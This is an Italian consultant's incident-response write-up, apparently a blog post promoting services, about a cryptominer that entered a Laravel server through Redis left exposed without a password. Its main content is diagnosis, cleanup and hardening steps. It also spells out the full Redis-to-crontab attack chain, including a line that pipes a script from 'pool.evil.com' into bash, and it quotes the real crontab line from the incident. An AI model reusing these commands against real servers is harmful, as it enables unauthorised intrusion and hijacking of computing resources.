Redis esposto senza password su un VPS Hetzner: come un cryptominer ha messo in ginocchio un'applicazione Laravel
A luglio 2025, il responsabile tecnico di un SaaS di gestione documentale in provincia di Novara mi ha scritto un messaggio alle 9:30 di un lunedì: "Da venerdì il server è lentissimo, CPU costantemente al 100%, non riesco a capire cosa lo sta consumando." Il SaaS - un'applicazione Laravel 10 per la gestione di pratiche edilizie, circa 400 utenti attivi - girava su un VPS Hetzner CPX31 (4 vCPU AMD, 8 GB RAM, 160 GB SSD) con il classico stack LEMP più Redis 6 per sessioni, cache e code. Il server aveva funzionato senza problemi per due anni. Poi, da venerdì, la CPU era inchiodata al 100% e l'applicazione impiegava 12 secondi a caricare qualunque pagina.
La prima ipotesi del responsabile tecnico era un aggiornamento andato male o un leak di memoria in PHP-FPM. In realtà il problema era molto peggio: qualcuno era entrato tramite Redis, aveva installato un cryptominer Monero che usava tutte le risorse della CPU, e l'applicazione Laravel era solo il danno collaterale.
Come fa un attaccante a entrare in un server attraverso Redis?
Redis, nella sua configurazione di default, non richiede autenticazione. Chiunque possa raggiungere la porta 6379 può eseguire qualunque comando Redis, inclusa l'esecuzione di script Lua arbitrari. Wiz Research ha documentato nel 2025 che circa 60.000 istanze Redis sono esposte su internet senza alcun controllo di autenticazione - e la vulnerabilità CVE-2025-49844 ("RediShell"), con un CVSS di 10.0, ha dimostrato che il motore Lua integrato in Redis conteneva un bug di use-after-free presente nel codice da 13 anni, sfruttabile per ottenere esecuzione remota di codice completa sul server host.
Ma anche senza CVE-2025-49844, un Redis esposto senza password è già un disastro. L'attacco classico - quello che ha colpito il SaaS novarese - non richiede nessun exploit sofisticato. Funziona così:
- L'attaccante scansiona internet alla ricerca di porte 6379 aperte (strumenti come
masscanlo fanno su tutto IPv4 in poche ore). - Si connette con
redis-cli -h IP_DEL_SERVER- nessuna password necessaria. - Usa il comando
CONFIG SET dir /var/spool/cron/crontabsper impostare la directory di lavoro di Redis sulla directory dei crontab. - Usa
CONFIG SET dbfilename rootper impostare il nome del file di dump.
5. Scrive una chiave con il contenuto del crontab malevolo: SET x "\n\n*/1 * * * * curl -s http://pool.evil.com/setup.sh | bash\n\n".
- Esegue
SAVE- Redis scrive il dump nel file/var/spool/cron/crontabs/root. - Un minuto dopo, cron esegue lo script che scarica e installa il cryptominer.
L'intero attacco richiede 6 comandi Redis e meno di 10 secondi. Non serve nessun exploit, nessun buffer overflow, nessun privilege escalation. Solo un Redis raggiungibile da internet senza password. L'advisory ufficiale Redis sulla CVE-2025-49844 e il report tecnico di Sysdig documentano come campagne precedenti - P2PInfect, HeadCrab, Migo - abbiano usato varianti di questo attacco per distribuire miner di Monero e ransomware su migliaia di server.
La portata del problema nel 2025 è documentata da numeri che dovrebbero preoccupare qualunque responsabile IT: Infosecurity Magazine riporta che circa 60.000 istanze Redis sono esposte su internet senza autenticazione, con la più alta concentrazione negli Stati Uniti (11.863), seguiti da Cina (6.473) e Francia (5.012). In Germania - dove Hetzner ha i suoi data center principali - le istanze vulnerabili erano 929. Ognuna di queste è un server che può essere compromesso in 10 secondi con 6 comandi.
Sul VPS del cliente novarese, la configurazione di Redis era quella installata dal pacchetto redis-server di Ubuntu 22.04 con una sola modifica: bind 0.0.0.0 nel redis.conf, fatta due anni prima dallo sviluppatore originale "perché da localhost non funzionava" (spoiler: non funzionava perché il .env di Laravel aveva REDIS_HOST=127.0.0.1 e Redis era in bind su ::1 - il fix corretto era cambiare il bind a 127.0.0.1, non a 0.0.0.0). Nessuna password, nessun firewall sulla porta 6379, Lua scripting abilitato di default. Un bersaglio perfetto per i bot di scansione automatizzati che girano 24 ore su 24.
Stai cercando un Consulente Informatico esperto per un intervento di emergenza sulla tua infrastruttura Redis e Laravel? Nel mio profilo professionale trovi l'esperienza concreta su incident response, hardening e gestione di VPS compromessi.
Diagnosi in 40 minuti: trovare il cryptominer
La diagnosi è partita da htop, che mostrava un processo chiamato kdevtmpfsi (un nome classico dei miner Monero) che consumava il 99,3% della CPU su tutti e 4 i core. Il processo era stato avviato dall'utente redis - primo segnale che l'ingresso era tramite Redis. La sequenza di comandi diagnostici:
# 1. Identificare il processo che consuma CPU
ps aux --sort=-%cpu | head -5
# → redis 28413 99.3 ... /tmp/.kdevtmpfsi
# 2. Verificare come è stato avviato
cat /proc/28413/cmdline | tr '\0' ' '
# → /tmp/.kdevtmpfsi -o stratum+tcp://pool.minexmr.com:4444 -u wallet...
# 3. Controllare il crontab di root (dove l'attaccante ha scritto)
crontab -l
# → */1 * * * * curl -s http://185.xxx.xxx.xxx/setup.sh | bash
# 4. Verificare la configurazione Redis
redis-cli CONFIG GET bind
# → "0.0.0.0"
redis-cli CONFIG GET requirepass
# → "" (vuoto = nessuna password)
# 5. Controllare connessioni esterne a Redis
ss -tnp | grep 6379 | grep -v 127.0.0.1
# → 3 connessioni da IP esterniIn 40 minuti avevo il quadro completo: Redis esposto senza autenticazione, l'attaccante aveva scritto un crontab via CONFIG SET dir, il cron scaricava e riavviava il miner ogni minuto. L'applicazione Laravel non era stata direttamente compromessa - l'attaccante non aveva toccato i dati nel database, non aveva modificato file PHP, non aveva installato backdoor nel codice. Voleva solo la CPU per minare Monero. Ma l'effetto collaterale - un server con CPU al 100% - rendeva l'applicazione inutilizzabile per gli utenti.
Eradicazione e hardening: cosa fare in quale ordine
L'eradicazione deve essere completa - uccidere il processo non basta perché il crontab lo rilancia ogni minuto. L'ordine conta:
# 1. Rimuovere il crontab malevolo PRIMA di uccidere il processo
crontab -r # rimuove tutti i crontab di root - verificare prima con crontab -l
# 2. Uccidere il processo miner
kill -9 $(pgrep kdevtmpfsi)
# 3. Rimuovere i file del miner
rm -f /tmp/.kdevtmpfsi /tmp/.kinsing /var/tmp/.kdevtmpfsi
# 4. Bloccare immediatamente Redis dall'esterno
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
# 5. Riavviare Redis con bind su localhost
sed -i 's/^bind 0.0.0.0/bind 127.0.0.1/' /etc/redis/redis.conf
systemctl restart redis-serverDopo l'eradicazione, l'hardening permanente. Le quattro impostazioni di redis.conf che devono essere presenti su ogni installazione Redis di produzione, senza eccezioni:
# /etc/redis/redis.conf - hardening minimo
# 1. Bind SOLO su localhost (mai 0.0.0.0)
bind 127.0.0.1
# 2. Password obbligatoria (generata con openssl rand -base64 32)
requirepass "tua_password_lunga_e_casuale_qui"
# 3. Rinominare o disabilitare comandi pericolosi
rename-command CONFIG ""
rename-command DEBUG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
# 4. Disabilitare Lua scripting se non usato (raro in contesti Laravel)
# Su Redis 7.0+: usa ACL per revocare il permesso scripting
# Su Redis 6.x: rename-command EVAL "" e rename-command EVALSHA ""
rename-command EVAL ""
rename-command EVALSHA ""Il rename-command CONFIG "" è il singolo cambiamento più importante: disabilita il comando CONFIG che l'attaccante ha usato per scrivere il crontab. Senza CONFIG, anche un Redis senza password non può essere usato per scrivere file arbitrari sul filesystem. Il rename-command FLUSHALL "" previene la cancellazione totale dei dati - un altro attacco comune su Redis esposti.
Il rename-command EVAL "" disabilita il motore Lua, che è il vettore della CVE-2025-49844 (RediShell). Laravel non usa EVAL per le operazioni standard di cache, sessione e code - le usa solo pacchetti specifici come laravel-prometheus di Spatie per metriche custom. Se non usi Lua scripting esplicitamente nel tuo progetto, disabilitarlo non ha effetti collaterali e chiude un vettore di attacco con CVSS 10.0.
Sul .env di Laravel, la password va aggiunta nel parametro REDIS_PASSWORD:
REDIS_PASSWORD=tua_password_lunga_e_casuale_quiLaravel la legge automaticamente da config/database.php nella sezione redis.default.password.
Per chi gestisce applicazioni Laravel dove Redis è usato non solo per cache ma anche per sessioni e code - il caso della maggior parte dei progetti in produzione - un'interruzione di Redis significa sessioni perse, code bloccate e utenti disconnessi. L'articolo sulla riduzione di un checkout da 4,2 secondi a 280 millisecondi descrive come Redis si integra nel tuning complessivo di un'applicazione Laravel e perché la sua stabilità è critica per le performance.
Dopo l'emergenza: monitoring e prevenzione
Dopo aver ripulito e blindato Redis, il passo successivo è verificare che l'attaccante non abbia fatto altro oltre al cryptominer. Sul VPS del cliente novarese, il check è stato relativamente rapido perché l'attaccante aveva usato l'utente redis (non root) e Redis non aveva privilegi di scrittura al di fuori della sua directory e di /var/spool/cron/crontabs. Ho verificato comunque:
# File modificati negli ultimi 30 giorni fuori dalle directory standard
find / -type f -mtime -30 \
-not -path "/proc/*" -not -path "/sys/*" \
-not -path "/var/log/*" -not -path "/tmp/*" \
-not -path "/var/cache/*" \
-user redis -o -user www-data 2>/dev/null | sort
# Crontab di tutti gli utenti, non solo root
for u in $(cut -d: -f1 /etc/passwd); do
crontab -u "$u" -l 2>/dev/null | grep -v "^#" | grep -v "^$" && echo "^^^ user: $u"
done
# Chiavi SSH aggiunte
find /root/.ssh /home -name "authorized_keys" -exec grep -l "." {} \;
# Processi che ascoltano su porte inattese
ss -tlnp | grep -v -E ':(22|80|443|3306|6379|9100)\b'Nessun segno di ulteriore compromissione. L'attaccante era un bot automatizzato, non un operatore umano - il pattern (scansione porta 6379, scrittura crontab, installazione miner) è identico a quello documentato nelle campagne P2PInfect e HeadCrab che hanno colpito migliaia di server negli ultimi due anni. Un operatore umano avrebbe sfruttato l'accesso per installare una backdoor persistente; un bot installa il miner e passa al prossimo target.
Ho poi aggiunto due check al sistema di monitoring Prometheus del server. Il primo monitora le connessioni a Redis dall'esterno - se qualcuno riesce a connettersi da un IP che non è 127.0.0.1, l'alert scatta immediatamente. Il secondo monitora l'uso CPU del processo Redis: in un'applicazione Laravel tipica, Redis usa meno dell'1% della CPU. Se sale sopra il 5%, qualcosa non va - o un leak di connessioni, o un attacco in corso, o un pattern di accesso anomalo nel codice.
Per il protocollo completo di incident response - dal contenimento alla forensics alla comunicazione, con le tempistiche NIS2 per la notifica - ho scritto una guida dedicata all'incident response in 72 ore per Laravel e Symfony. Il caso del cryptominer novarese non richiedeva notifica al Garante (nessun dato personale esfiltrato), ma la documentazione dell'incidente e delle azioni correttive è comunque obbligatoria per la compliance NIS2 se l'azienda rientra tra le entità essenziali o importanti.
Il risultato sul cliente novarese: dal momento della mia presa in carico alla risoluzione completa sono passate 3 ore. Il cryptominer è stato rimosso, Redis è stato blindato, il monitoring è stato attivato. La CPU è scesa dal 100% al 2% e l'applicazione è tornata a rispondere in 300 millisecondi. Il costo dell'incidente - tre giorni lavorativi con l'applicazione quasi inutilizzabile - è stato stimato dal responsabile tecnico in circa 8.000 euro di produttività persa (400 utenti che non potevano lavorare sulle pratiche edilizie). Il costo dell'hardening che avrebbe prevenuto tutto: 15 minuti di configurazione di redis.conf il giorno dell'installazione.
Per chi gestisce VPS con applicazioni Laravel e vuole un quadro completo su come mettere in sicurezza l'intera infrastruttura - non solo Redis ma anche MySQL, PHP-FPM, SSH e il web server - ho scritto una guida operativa sull'hardening di server Debian e Ubuntu per applicativi PHP delle PMI.
Se il tuo VPS ha Redis installato e non sei sicuro che sia configurato correttamente - o se noti un consumo di CPU anomalo che non riesci a spiegare - il primo check da fare è redis-cli CONFIG GET bind e redis-cli CONFIG GET requirepass. Se il bind è 0.0.0.0 e la password è vuota, il tuo server è esposto esattamente come quello del cliente novarese. La buona notizia è che l'hardening richiede 15 minuti e zero investimenti - è una modifica al file di configurazione e un restart del servizio. La cattiva notizia è che ogni minuto in cui Redis resta esposto senza password è un minuto in cui un bot automatizzato può scrivere un crontab sul tuo server. E a differenza di un attaccante umano che potresti fermare con un IDS, i bot non dormono, non fanno pause caffè, e scansionano l'intero spazio IPv4 in poche ore. Contattami se hai bisogno di un audit Redis e hardening: in mezza giornata verifico la configurazione, applico le restrizioni e imposto il monitoring per dormire tranquillo.